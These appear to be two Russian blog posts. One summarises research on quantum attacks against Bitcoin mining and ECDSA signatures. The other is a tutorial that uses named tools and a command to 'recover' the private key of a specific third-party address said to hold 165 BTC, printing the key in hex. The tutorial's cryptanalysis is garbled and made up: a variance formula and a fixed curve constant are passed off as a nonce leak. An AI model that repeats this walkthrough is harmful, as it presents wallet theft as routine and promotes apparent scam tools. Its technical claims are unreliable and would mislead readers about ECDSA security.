Для оценки достижимой производительности рассматриваются сверхпроводящие схемы, которые на сегодняшний день являются самыми быстрыми квантовыми технологиями и имеют хорошие перспективы масштабирования. При максимальной скорости работы элементов и определенных предположениях о частоте ошибок и сложности задачи, эффективная скорость хеширования квантового компьютера составляет 13.8 GH/s, что требует использования 4.4 миллиона физических кубитов. Это в тысячи раз медленнее, чем современные ASIC-устройства, которые достигают скорости 14 TH/s. Причина кроется в низкой скорости работы квантовых элементов и задержках, связанных с созданием отказоустойчивых T-элементов. Ожидается, что в будущем квантовые технологии будут быстро развиваться, и произойдет «квантовая версия закона Мура», которая повлияет на тактовую частоту, точность элементов и количество кубитов. Это позволит оценить мощность квантовых компьютеров в будущем.


Квантовая версия закона Мура — это гипотетическая концепция, которая предполагает аналогичный рост производительности и мощности квантовых компьютеров, как это было с классическими компьютерами по закону Мура. Закон Мура гласит, что количество транзисторов на микросхеме удваивается каждые 24 месяца, что приводит к увеличению вычислительной мощности и снижению стоимости. В контексте квантовых вычислений подобный рост мог бы проявляться в увеличении количества кубитов (квантовых битов), скорости обработки информации или других параметров 24.



Очевидно, что квантовым компьютерам потребуется время, чтобы превзойти классические машины в задаче майнинга. Даже когда это произойдет, ни один квантовый компьютер не будет обладать подавляющей мощностью. Однако, даже небольшое преимущество в мощности над другими майнерами может сделать выгодными определенные виды атак, например, на майнинговые пулы, которые используют смарт-контракты. Например, при определенных оптимистичных предположениях, группа из 20 квантовых машин, работающих параллельно, может иметь 0.1% от общей мощности хеширования. Этого достаточно для проведения атак на майнинговые пулы и снижения их прибыли на 10% с минимальными затратами на подкуп.


Attacks on signatures

Биткоин использует для создания подписей Elliptic Curve Digital Signature Algorithm (ECDSA), основанный на кривой secp256k1. Безопасность этой системы опирается на сложность задачи дискретного логарифма на эллиптической кривой (ECDLP). Несмотря на то, что классически эта проблема считается сложной, Питер Шор предложил эффективный квантовый алгоритм для её решения.



Это означает, что достаточно мощный универсальный квантовый компьютер может эффективно вычислить закрытый ключ, связанный с открытым ключом, что делает эту схему совершенно небезопасной.



Последствия для биткоина таковы:

  1. (Повторное использование адресов) Чтобы потратить биткоин с адреса, необходимо раскрыть открытый ключ, связанный с этим адресом. Как только открытый ключ раскрывается в присутствии квантового компьютера, адрес больше не является безопасным и поэтому никогда не должен использоваться повторно. Хотя всегда использовать новые адреса — это рекомендуемая практика в Bitcoin, на практике это не всегда соблюдается. Любой адрес, на котором есть биткоины и для которого был раскрыт открытый ключ, является совершенно небезопасным.

  2. (Обработанные транзакции) Если транзакция совершена с адреса, с которого раньше не было расходов, и эта транзакция помещена в блокчейн с несколькими следующими за ней блоками, то эта транзакция достаточно защищена от квантовых атак. Закрытый ключ может быть получен из опубликованного открытого ключа, но, поскольку адрес уже был потрачен, это должно быть объединено с обходом хеширования сети для выполнения атаки двойной траты. Как мы видели в разделе III A, даже с квантовым компьютером атака двойной траты маловероятна, если за транзакцией следует много блоков.

  3. (Необработанные транзакции) После того, как транзакция была передана в сеть, но до того, как она будет помещена в блокчейн, она подвергается риску квантовой атаки. Если секретный ключ может быть получен из широковещательного открытого ключа до того, как транзакция будет помещена в блокчейн, злоумышленник может использовать этот секретный ключ для трансляции новой транзакции с того же адреса на свой собственный адрес. Если злоумышленник затем гарантирует, что эта новая транзакция будет помещена в блокчейн первой, то он может фактически украсть все биткоины, стоящие за исходным адресом. Мы рассматриваем пункт (3) как наиболее серьезную атаку. Чтобы определить серьезность этой атаки, важно точно оценить, сколько времени потребуется квантовому компьютеру для вычисления ECDLP, и можно ли это сделать за время, близкое к интервалу между блоками.

Мы считаем атаку, описанную в пункте 3 (атака на необработанные транзакции), наиболее опасной. Чтобы оценить её серьёзность, важно понять, сколько времени потребуется квантовому компьютеру для решения задачи дискретного логарифма на эллиптической кривой (ECDLP) и возможно ли это сделать за время, сравнимое с интервалом между созданием блоков в блокчейне. Для поля из n-битного простого числа, согласно последним исследованиям, квантовый компьютер может решить задачу ECDLP, используя 9n + 2log2(n) + 10 логических кубитов и (448log2(n) + 4090)*n^3 вентилей Тоффоли. В биткоине используются 256-битные подписи (n = 256), поэтому число вентилей Тоффоли составляет 1.28 * 10^11, которые можно немного распараллелить до глубины 1.16 * 10^11. Каждый вентиль Тоффоли может быть реализован с использованием небольшой схемы T-вентилей, действующих на 7 кубитах параллельно (включая 4 вспомогательных кубита). Анализируя это, можно оценить ресурсы, необходимые для квантовой атаки на цифровые подписи. Как и в случае майнинга блоков, основное время тратится на дистилляцию «магических состояний» для логических T-вентилей. Время решения ECDLP на квантовом процессоре равно τ = 1.28 * 10^11 * cτ(pg)/s, где cτ зависит только от частоты ошибок вентилей (pg), а s — это тактовая частота. Количество необходимых физических кубитов равно nQ = 2334 * cnQ(pg), где первый множитель — это число логических кубитов, включая 4 вспомогательных логических кубита, а cnQ — это коэффициент пространственных затрат.




На рисунке 3 показана производительность квантового компьютера для атак на цифровые подписи. Используя код поверхности с частотой ошибок физических вентилей pg = 5 * 10^-4, коэффициенты накладных расходов составляют cτ = 291.7 и cnQ = 735.3. В этом случае, при тактовой частоте 66.6 МГц, решение задачи займет 6.49 дней, используя 1.7 * 10^6 физических кубитов. Если же тактовую частоту увеличить до 10 ГГц, а частоту ошибок уменьшить до 10^-5, то подпись можно взломать за 30 минут, используя 485550 кубитов. Последний сценарий делает атаку на необработанные транзакции (пункт 3) вполне возможной и серьезно угрожает безопасности текущей системы Bitcoin. На рисунке 4 представлена оценка времени, необходимого квантовому компьютеру для взлома схемы подписи в зависимости от времени, основанная на определённой модели.


Самая большая угроза для биткоина, связанная с появлением квантовых компьютеров, — это возможность кражи еще не подтвержденных транзакций.



Квантовый компьютер может взломать подпись транзакции, пока она ждет записи в блокчейн, и перенаправить деньги на кошелек злоумышленника. Сейчас для этого потребуется много времени и ресурсов, но развитие технологий может сделать такую атаку реальной. Чтобы оценить опасность, нужно понимать, как быстро квантовый компьютер сможет взламывать эти подписи. Все зависит от мощности компьютера и частоты ошибок. Если создать достаточно мощный и точный квантовый компьютер, взлом подписи может занять всего полчаса, что сделает систему Биткоин очень уязвимой.


РИС. 4. На этом графике показаны две оценки времени (в секундах), необходимого квантовому компьютеру для взлома схемы подписи (красные кривые) в зависимости от времени на следующие 25 лет.

РИС. 4. На этом графике показаны две оценки времени (в секундах), необходимого квантовому компьютеру для взлома схемы подписи (красные кривые) в зависимости от времени на следующие 25 лет.

Мы даем более и менее оптимистичные оценки (красные полосатые линии). Подробно модели описаны в Приложении C. Согласно этой оценке, схема подписи может быть взломана менее чем за 10 минут (600 секунд, черная пунктирная линия) уже в 2027 году


Будущие усовершенствования квантовых атак

Атаки на протокол Биткоин с использованием известных квантовых алгоритмов и схем коррекции ошибок. Хотя некоторые оценки скорости и масштабирования квантовых вычислений могут показаться оптимистичными, важно помнить, что есть несколько путей для улучшения производительности квантовых компьютеров в решении упомянутых проблем. Во-первых, в качестве кода коррекции ошибок здесь рассматривается код поверхности, который требует значительных классических вычислительных затрат для дистилляции состояний, извлечения синдрома ошибок и коррекции. Другие коды, обеспечивающие трансверсальные вентили Клиффорда и не-Клиффорда, могут устранить необходимость в медленной дистилляции состояний. Фактически, замедление из-за классической обработки для извлечения и коррекции синдрома может быть полностью устранено с использованием протокола без измерения, например, [PSBT10], который в недавнем анализе показывает пороговые значения ошибок [CJS16] всего примерно в 5 раз хуже, чем код поверхности с большим количеством измерений. Это может потенциально значительно улучшить общую скорость коррекции ошибок.


Во-вторых, уменьшение количества логических вентилей в квантовых схемах возможно по мере разработки более эффективных передовых методов квантовых вычислений. Например, используя конкретную задачу большого размера (включая реализации оракула), которая была проанализирована в предыдущей работе [SVM+17], было достигнуто прямое сравнение конкретных подсчетов вентилей, полученных с помощью программного пакета Quipper, между старым [HHL09] и новым [CKS15] квантовыми алгоритмами решения линейных систем, показывающее улучшение на несколько порядков.



Учитывая, что квантовые алгоритмы Шора и Гровера были хорошо изучены и тщательно оптимизированы, не следует ожидать такого значительного улучшения, тем не менее, вероятно, возможно некоторое улучшение. В-третьих, различные квантовые алгоритмы могут обеспечить относительное ускорение. Недавняя работа Калиски [Kal17] представляет квантовый алгоритм для задачи дискретного логарифма: найти m, если дано b = a^m, где b — известное целевое значение, а a — известное основание, используя запросы к так называемой подпрограмме «магического ящика», которая вычисляет наиболее значимый бит m. Повторяя запросы, используя продуманно выбранные степени целевого значения, можно вычислить все биты m и решить задачу. Поскольку разные биты решаются один за другим, задача может быть распределена между несколькими квантовыми процессорами. Каждому процессору требуется количество логических кубитов, сопоставимое с решением всей задачи, но общее время будет сокращено за счет распараллеливания. Кроме того, накладные расходы на квантовую коррекцию ошибок, вероятно, уменьшатся, поскольку фазы в квантовом преобразовании Фурье части схемы не должны быть такими точными, как в исходном алгоритме Шора.



Хотя квантовые атаки на Биткоин кажутся сложными, не стоит расслабляться. Существуют способы сделать квантовые компьютеры быстрее и эффективнее в решении этих задач.


  • Улучшение коррекции ошибок: Вместо использования сложных кодов коррекции ошибок, можно применять более простые и быстрые методы, которые не требуют постоянных измерений.

  • Оптимизация алгоритмов: Разрабатываются новые алгоритмы квантовых вычислений, которые позволяют уменьшить количество операций, необходимых для взлома подписи. Это как найти более короткий путь к цели.

  • Параллелизация: Задачу взлома можно разделить на части и распределить между несколькими квантовыми компьютерами, чтобы ускорить процесс.

Поэтому, даже если сейчас квантовая атака на Биткоин требует огромных ресурсов, с развитием технологий эта угроза будет становиться все более реальной.


КОНТРМЕРЫ: Alternative proofs-of-work

Квантовый компьютер может использовать поиск Гровера для выполнения proof-of-work в Биткоине, используя квадратично меньше хэшей, чем требуется классически. В этом разделе мы исследуем альтернативные proof-of-work, которые могут предложить меньшее квантовое преимущество. Основные свойства, которые мы хотим получить от proof-of-work:

  1. (Сложность) Сложность задачи можно регулировать в соответствии с вычислительной мощностью, доступной в сети.

  2. (Асимметрия) Гораздо проще проверить, что proof-of-work успешно завершен, чем выполнить proof-of-work.

  3. (Отсутствие квантового преимущества) Proof-of-work не может быть выполнен значительно быстрее с помощью квантового компьютера, чем с помощью классического компьютера.



Python-скрипт: QuantumInspiredPoW.py



  1. грубая проверка хеша (nonce, prefix_zeros): Эта функция имитирует проверку, соответствует ли хеш nonce заданной сложности (количеству нулей в начале хеша). В реальной сети Bitcoin это заменяется проверкой, что хеш заголовка блока (включая nonce) меньше целевого значения. Здесь используется hashlib.sha256.

  2. поиск Гровера proof_of_work(difficulty): Это основная функция, которая пытается найти nonce, удовлетворяющий требованиям PoW.

    • N = 2**32: Представляет собой пространство поиска nonce. В реальной сети Bitcoin пространство поиска гораздо больше.

    • iterations = int(N**0.5): Ключевая идея, вдохновленная алгоритмом Гровера. Алгоритм Гровера теоретически позволяет найти решение в пространстве поиска размера N за O(sqrt(N)) операций, в отличие от O(N) для полного перебора. Мы пытаемся отразить это, выполняя корень квадратный из N итераций.

    • В цикле мы случайным образом выбираем nonce и проверяем, соответствует ли его хеш требованиям сложности.

  3. Обратите внимание, что этот код не является реальной реализацией алгоритма Гровера и не даст никакого ускорения на классическом компьютере. Он просто демонстрирует концепцию использования sqrt(N) итераций.



Proof-of-work Биткоина выполняет пункты (1) и (2), но мы хотели бы найти альтернативный proof-of-work, который лучше справляется с (3). Аналогичные соображения были исследованы авторами, пытающимися найти proof-of-work, которые вместо (3) ищут proof-of-work, которые не могут быть ускорены ASIC. Подход к этому заключается в рассмотрении proof-of-work, интенсивно использующих память. Было предложено несколько интересных кандидатов, таких как Momentum [Lar14], основанный на поиске коллизий в хеш-функции, Cuckoo Cycle [Tro15], основанный на поиске подграфов постоянного размера в случайном графе, и Equihash [BK17], основанный на обобщенной задаче о днях рождения. Это также хорошие кандидаты для более квантово-устойчивого proof-of-work.Все эти схемы основаны на proof-of-work в стиле hashcash и используют следующий шаблон. Пусть h1 : {0, 1} ∗ → {0, 1} n — криптографически безопасная хеш-функция, а H = h1(header) — хеш заголовка блока. Цель состоит в том, чтобы найти nonce x такой, что h1(H k x) ≤ t и P(H, x) для некоторого предиката P.



Тот факт, что заголовок и nonce должны удовлетворять предикату P, означает, что лучший алгоритм больше не будет просто последовательно перебирать nonce x. Наличие proof-of-work в такой форме также гарантирует, что параметр t все еще может быть выбран для изменения сложности. Далее мы проанализируем этот шаблон для proof-of-work Momentum, так как это можно связать с известными квантовыми нижними границами. Для proof-of-work Momentum пусть h2 : {0, 1} ∗ → {0, 1} — другая хеш-функция с n ≤. В исходном предложении Momentum h1 может быть принята как SHA-256, а h2 как хеш-функция, интенсивно использующая память, но это менее важно для нашего обсуждения. Proof-of-work состоит в том, чтобы найти H, a, b такие, что h1(H k a k b) ≤ t и h2(H k a) = h2(H k b) и a, b ≤ 2 `. (1)Сначала давайте исследуем время выполнения для решения этого proof-of-work, предполагая, что хеш-функции h1, h2 могут быть оценены за единицу времени. Взяв подмножество S ⊂ {0, 1} и оценивая h2(H k a) для всех a ∈ S, мы ожидаем найти около |S| 2/2 многих коллизий. Заметим, что, используя соответствующую структуру данных, эти коллизии можно найти за время около |S|. Один из алгоритмов тогда выглядит следующим образом. Для каждого H мы оцениваем h2 на подмножестве S и находим около |S| 2/2  многих пар a, b таких, что h2(H k a) = h2(H k b).



Для каждой коллизии мы затем проверяем h1(H k a k b) ≤ t. В ожидании нам придется выполнить этот второй тест 2n/t много раз. Таким образом, количество H, которые нам придется попробовать, составляет около m = max{1, 2 n+ t|S| 2 }, так как мы должны попробовать хотя бы один H. Поскольку для каждого H мы тратим время |S|, общее время выполнения составляет m|S|. Мы видим, что оно наименьшее, когда |S| = q 2 n+ t , то есть когда m = 1, и мы просто пробуем один H. Это оптимальное время выполнения тогда составляет T = q 2 n+ t , и для его достижения мы должны использовать память, равную времени выполнения, что может быть непомерно дорого. Для некоторой меньшей памяти |S| < q 2 n+ t время выполнения будет 2 n++1 t|S| .Теперь давайте посмотрим на время выполнения на квантовом компьютере. На квантовом компьютере мы можем сделать следующее. Назовем H хорошим, если существуют a, b ∈ S такие, что h1(H k a k b) ≤ t и h2(H k a) = h2(H k b). Проверка того, является ли H хорошим, требует поиска коллизии и, следовательно, требует, по крайней мере, |S| 2/3 времени согласно квантовой нижней границе запросов Ааронсона и Ши [AS04].



.... Продолжение статьи во второй части


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Исходный код

Google Colab

BitcoinChatGPT

Blockchain Folbit Leaks

Dockeyhunt Deep Learning

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/p62orC7WDUE

Video tutorial: https://dzen.ru/video/watch/67c3e91abbfa683a745a0aea

Источник: https://cryptodeeptool.ru/quantum-attacks-on-bitcoin




Показать полностью 17 1
2

Discrete Logarithm математические методы и инструменты по восстановлению криптовалютных кошельков Bitcoin

В начале 2025 года рост курса популярных криптовалют существенно повлияло на финансовые операции. Несмотря на их широкое использование и кажущуюся безопасность, эти системы остаются уязвимыми. Одной из главных проблем остаётся восстановление потерянных криптовалютных кошельков и приватных ключей, которое может быть осуществлено с помощью сложных математических алгоритмов.

В этой статье мы исследуем методы решения задачи дискретного логарифма и способы восстановлении потерянных Биткоин Кошельков, акцентируя внимание на алгоритме Ricci Flow и проблеме скрытых чисел (Hidden Number Problem) для извлечения приватных ключей из уязвимых транзакций, использующих ECDSA. Мы также обсудим, как современные криптовалюты, такие как Биткоин и Эфириум, зависят от сложных математических основ, обеспечивающих безопасность и анонимность, но подверженных эксплуатации из-за различных уязвимостей.

Роль дискретного логарифмирования в восстановлении потерянных криптовалютных кошельков и извлечении приватных ключей.

Дискретное логарифмирование — это математическая задача, которая заключается в нахождении целого числа x, удовлетворяющего уравнению a=b^x в некоторой конечной группе. Порядок группы точек на этой кривой которая является важным параметром, определяющим криптостойкость системы secp256k1 эллиптической кривой над полем GF(p), где p=2^256−2^32−2^9−2^8−2^7−2^6−2^4−1. Например, если мы знаем a и b, нам нужно найти xприватный ключ к Биткоин кошельку. Эта задача особенно важна в криптографии, поскольку она лежит в основе многих криптографических алгоритмов, таких как обмен публичными ключами. Современные алгоритмы дискретного логарифмирования имеют очень высокую вычислительную мощность что позволяет эти алгоритмы применить на практике.

Рассмотрим процесс восстановления приватного ключа с использованием программного обеспечения Dockeyhunt Discrete Logarithm и инструмента DarkSignature для генерации поддельных данных транзакций.

Сначала мы введем адрес Биткоин кошелька: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS на сумму: 165.10252195 BTC и получим его публичный ключ. Затем, используя DarkSignature, создадим поддельные значения для транзакций, что позволит нам проанализировать и манипулировать данными подписи алгоритма ECDSA. В завершение мы применим математический анализ через программное обеспечение Perelman Work для решения дискретного логарифма и получения приватного ключа к Биткоин кошельку.

Эта статья предназначена не только для специалистов в области криптографии и математики, но и для всех желающих понять, как можно использовать математические методы для решения реальных задач в области криптоанализа с использование различных криптовалют.

Для начало нам необходимо запустить программное обеспечение Dockeyhunt Discrete Logarithm и в поле "Input date" вводим Биткоин Адрес 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS и получаем публичный ключ кошелька:

04e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335

<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D63&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=1d0d1d713a786a3b764d714815424726873b912d" title="https://youtu.be/ErjCph1mI9Y?t=63" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени


Воспользуемся инструментом DarkSignature чтобы получить поддельные данные значение R, S, Z для транзакции алгоритма ECDSA. В поле "Input date" вводим публичный ключ Биткоин Адреса 04e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335 и получаем данные значение R, S, Z

Результат:

1111,947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c,5b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b,c7ac826c5a8397c0de993b2d8d597be42d22c77cf006683d7b72a197e1a5cdcf,0000

<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D76&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=b74f10b40b11fa9a838bd9da57fdf27d565d87b5" title="https://youtu.be/ErjCph1mI9Y?t=76" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени


В качестве инструмента для математического анализа и решения уравнений дискретного логарифма применим программное обеспечение Perelman Work. Выберем опцию из раздела Complex Analysis для полной взаимосвязи между переменными через интеграцию Discrete variation series Variance: [ D = frac{sum_{i=1}^{n} (x_i — bar{x})^2}{N} ) ]

Формула для вычисления дискретной вариации выглядит так:

Объяснение компонентов формулы:

  • D — это дисперсия (вариация) вашего набора данных.

  • ∑∑ — символ суммы, который означает, что мы будем складывать значения.

  • i — это индекс, который пробегает все значения в наборе данных от 1 до n.

  • xi — это каждое отдельное значение в вашем наборе данных.

  • ˉxˉ — это среднее значение (или среднее арифметическое) всех значений в наборе данных.

  • N — это общее количество значений в наборе данных.

Как это работает?

  1. Вычисление среднего: Сначала вы находите среднее значение вашего набора данных.

  2. Разница от среднего: Затем для каждого значения xi вы вычисляете, насколько оно отличается от среднего ˉxˉ .

  3. Квадрат разницы: После этого вы берете квадрат этой разницы (чтобы избавиться от отрицательных значений и усилить влияние больших отклонений).

  4. Суммирование: Вы складываете все квадраты разностей.

  5. Деление на количество значений: Наконец, вы делите полученную сумму на общее количество значений N.

<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D146&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=0aeba1071a0c2473916d41ce9520156a2ec41683" title="https://youtu.be/ErjCph1mI9Y?t=146" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени


С помощью Perelman Work и Dockeyhunt Discrete Logarithm мы произвольно меняем переменные на уязвимость Joux Lercier подробно об этом написано в начале статьи данная уязвимость в транзакции Bitcoin возникают из-за того, что существует возможность изменить значение R, S, Z в подписи, сохраняя при этом действительность подписи, а также в произвольной формуле:

X=hex(((SKZ)⋅modinv(R,N))modN)

  • S и R — значения из подписи транзакции (RawTX).

  • Z — хэш подписи транзакции.

  • K — секретный ключ (nonce).

  • N — порядок группы эллиптической кривой.

  • modinv(R,N) — это модульная обратная функция к R по модулю N.

Пояснение формулы

  1. Входные параметры:

    • S и R: Эти значения получаются из подписи транзакции. Они необходимы для восстановления приватного ключа.

    • Z: Это хэш подписи, который также используется в процессе.

    • K: Секретный ключ (nonce), который должен быть известен только владельцу кошелька.

  2. Вычисления:

    • Сначала умножаем S на K.

    • Затем вычитаем Z.

    • Результат умножаем на модульную обратную величину R по модулю N. Это позволяет “отменить” влияние R, чтобы получить значение, которое можно использовать для вычисления приватного ключа.

    • Наконец, результат берется по модулю N, чтобы гарантировать, что он находится в пределах допустимого диапазона для значений приватного ключа.

  3. Преобразование в шестнадцатеричный формат:

    • После выполнения всех математических операций результат конвертируется в шестнадцатеричный формат с помощью функции hex(), что является стандартным представлением приватных ключей в биткоине.


Ricci Flow Hidden Number Problem

Копируем значений R, S, Z и вставим в поле ввода Ricci Flow HNP чтобы выстроит совершенно новые транзакции алгоритма ECDSA.

<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D173&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=523cda26fd196d31fea5284fdcc0ff79dff779c4" title="https://youtu.be/ErjCph1mI9Y?t=173" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени



Dockeyhunt Private Key Calculator

Копируем значений R, S, Z и вставим в поле программного обеспечения Dockeyhunt Private Key Calculator

<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D258&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=0ec2de771c69a97929026c53e76929713ebd85b9" title="https://youtu.be/ErjCph1mI9Y?t=258" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени


Теперь согласно уязвимости Joux Lercier мы скопируем из кода ecdsa_impl.h значение секретного ключа «K» именуемая в криптографии NONCE – это секретный, (псевдо)случайный параметр, который обычно обозначают «K». Здесь NONCE, из-за ошибки в коде, зафиксировали 0, 0, 0, 1, 0x45512319UL, 0x50B75FC4UL, 0x402DA172UL, 0x2FC9BAEEUL несколько битов HEX в начале (или в конце) записи.

!./darksignature -address 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS

.... .... .... /** Difference between field and order, values 'p' and 'n' values defined in * "Standards for Efficient Cryptography" (SEC2) 2.7.1. * $ sage -c 'load("secp256k1_params.sage"); print(hex(P-N))' * 0x14551231950b75fc4402da1722fc9baee */ static const secp256k1_fe secp256k1_ecdsa_const_p_minus_order = SECP256K1_FE_CONST( 0, 0, 0, 1, 0x45512319UL, 0x50B75FC4UL, 0x402DA172UL, 0x2FC9BAEEUL ); .... .... ....

<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fgithub.com%2Fbitcoin-core%2Fsecp256k1%2Fblob%2Fmaster%2Fsrc%2Fecdsa_impl.h&t=https%3A%2F%2Fgithub.com%2Fbitcoin-core%2Fsecp256k1%2Fblob%2Fmaster%2Fsrc%2Fecdsa_impl.h&h=cbc46040add04087d85ba7732a8369551e622bde" title="https://github.com/bitcoin-core/secp256k1/blob/master/src/ecdsa_impl.h" target="_blank" rel="nofollow noopener">https://github.com/bitcoin-core/secp256k1/blob/master/src/ecdsa_impl.h</a>

https://github.com/bitcoin-core/secp256k1/blob/master/src/ecdsa_impl.h


<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D289&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=0ffc23f687dae905f2d4b6c78b16baee187e6a4c" title="https://youtu.be/ErjCph1mI9Y?t=289" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени


Копируем значений K и вставим в поле программного обеспечения Dockeyhunt Private Key Calculator, затем нажимаем на кнопку: Calculate Private Key и получаем приватный ключ к Биткоин Кошельку 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS

0x6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232


Для запуска алгоритма решения дискретного логарифма нажимаем на кнопку: Private Key после успешно получаем приватный ключ в формате HEX

6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232

<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D309&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=45d8398e7b6d28acd9ce0df058a0119cdc7743c4" title="https://youtu.be/ErjCph1mI9Y?t=309" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени


Далее мы должны убедиться, что получили нужные значение приватного ключа в формате HEX

<a href="https://pikabu.ru/story/discrete_logarithm_matematicheskie_metodyi_i_instrumentyi_po_vosstanovleniyu_kriptovalyutnyikh_koshelkov_bitcoin_12250144?u=https%3A%2F%2Fyoutu.be%2FErjCph1mI9Y%3Ft%3D378&t=%D0%92%D0%B8%D0%B4%D0%B5%D0%BE%20%D1%81%20%D0%BF%D1%80%D0%B8%D0%B2%D1%8F%D0%B7%D0%BA%D0%BE%D0%B9%20%D0%BA%D0%BE%20%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8&h=fdae4785c4e3dd584112b173fd7bb7bb7261c49a" title="https://youtu.be/ErjCph1mI9Y?t=378" target="_blank" rel="nofollow noopener">Видео с привязкой ко времени</a>

Видео с привязкой ко времени


Нажимаем на кнопку Bitcoin Address и получаем необходимое значение приватного ключа в формате HEX

6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS

